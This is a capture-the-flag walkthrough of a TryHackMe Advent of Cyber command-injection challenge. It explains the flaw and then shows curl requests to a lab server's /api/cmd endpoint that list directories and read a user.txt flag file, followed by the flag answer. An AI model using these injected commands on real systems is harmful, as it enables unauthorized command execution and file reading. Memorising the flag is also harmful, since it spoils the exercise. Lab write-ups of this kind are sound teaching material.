TryHackMe advent of cyber command injection walkthrough

 

 

 

Depending on the functionality of the web application, it will require some sort of interaction with the underlying host system this is usually done by passing in raw system commands or input to a command shell(either directly or through some sort of library).  TryHackMe advent of cyber command injection walkthrough

Examples of when web applications interact with host systems involve:


Checking monitoring statistics e.g. RAM being used, free disk space File conversion processes e.g. the web application would receive an image file that it wants to convert to a different image type Leaving debug functionality open; some frameworks have optional debug functionality that involve interaction with the underlying file system


Any input that is controlled by a user shouldn’t be trusted by the server. User input could be manipulated. In the case of when a web application uses system commands, a user could manipulate input to execute arbitrary system commands. This type of an attack is called a command injection attack.

Command Injection

If a web application takes input supplied by a user and makes it part of a command that is used within a shell, it allows an adversary to inject arbitrary operating system commands.

Instructions

• Another day, another hack from the Christmas Monster. Can you get back control of the system?
• Access the web server on http://[your-ip]:3000/
• McSkidy actually found something interesting on the /api/cmd endpoint.

In Browser ( using command injection )

 

After trying a few injections, methods, I found that the following request was returning something interesting:

In Terminal

$ curl -s http://10.10.15.73:3000/api/cmd/ls 

{"stdout":"bin\nboot\ndata\ndev\netc\nhome\nlib\nlib64\nlocal\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n","stderr":""}

Following the logic, I was able to locate the home directory, and found the user.txt file:

$ curl -s http://10.10.15.73:3000/api/cmd/ls%20%2Fhome
{"stdout":"bestadmin\nec2-user\n","stderr":""}

 

$ curl -s http://10.10.15.73:3000/api/cmd/ls%20%2Fhome%2Fbestadmin
{"stdout":"bin\nnew-room\nrun.sh\nuser.txt\n","stderr":""}

 

I then changed from ls to cat to show the content of the flag:

 

$ curl -s http://10.10.15.73:3000/api/cmd/cat%20%2Fhome%2Fbestadmin%2Fuser.txt
{"stdout":"5W7WkjxBWwhe3RNsWJ3Q\n","stderr":""}

 

 

Answer: 5W7WkjxBWwhe3RNsWJ3Q

 

 

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